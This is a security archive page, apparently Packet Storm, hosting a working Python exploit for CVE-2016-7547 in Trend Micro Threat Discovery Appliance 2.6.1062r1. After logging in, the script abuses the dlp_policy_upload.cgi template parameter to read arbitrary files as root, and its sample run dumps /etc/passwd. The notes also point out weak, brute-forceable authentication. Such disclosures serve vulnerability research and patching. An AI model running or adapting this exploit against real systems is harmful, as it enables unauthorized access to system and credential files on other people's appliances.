Twenty Year Anniversary

Trend Micro Threat Discovery Appliance 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure

Trend Micro Threat Discovery Appliance 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure
Posted Apr 20, 2017
Authored by Roberto Suggi Liverani, mr_me

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a dlp_policy_upload.cgi information disclosure vulnerability.

tags | exploit, cgi, info disclosure
advisories | CVE-2016-7547
MD5 | 1adf882631024240e0ddc894cd726f0b

Trend Micro Threat Discovery Appliance 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure

Change Mirror Download
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Information Disclosure Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated file disclosure vulnerability that can be used to leak files as root.

Notes:
======

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass> <file>
(+) eg: ./poc.py 172.16.175.123 admin /etc/passwd
saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py 172.16.175.123 admin123 /etc/passwd
(+) logged in...
(+) downloading file...
root:x:0:0:root:/root:/bin/true
tda:x:1:1:nobody:/:/bin/true
monitor:x:1:1:nobody:/:/bin/true
pcap:x:77:77:tcpdump:/var/log:/bin/true
saturn:trend_micro_threat_discovery_dlp_policy_upload_lfd mr_me$ ./poc.py 172.16.175.123 admin123 /var/i_dont_exist
(+) logged in...
(+) downloading file...
(-) file: /var/i_dont_exist doesnt exist!
"""

import re
import sys
import requests

requests.packages.urllib3.disable_warnings()

def remove_last_line_from_string(s):
return s[:s.rfind('\r\n')]

def download_file():
r = s.get("https://%s/cgi-bin/dlp_policy_upload.cgi?Q_UPLOAD_ID=1&Q_UPLOAD_TEMPLATE=%s" % (t, f), verify=False)
data = r.text
if len(data) > 52:
fdata = str(data).split("\n")
fdata.pop()
fdata.pop()
print '\n'.join(fdata)
else:
print "(-) file: %s doesnt exist!" % f

if len(sys.argv) != 4:
print "(+) usage: %s <target> <pass> <file>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin /etc/passwd" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]
f = sys.argv[3]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu

s = requests.Session()

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
print "(+) downloading file..."
download_file()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    8 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close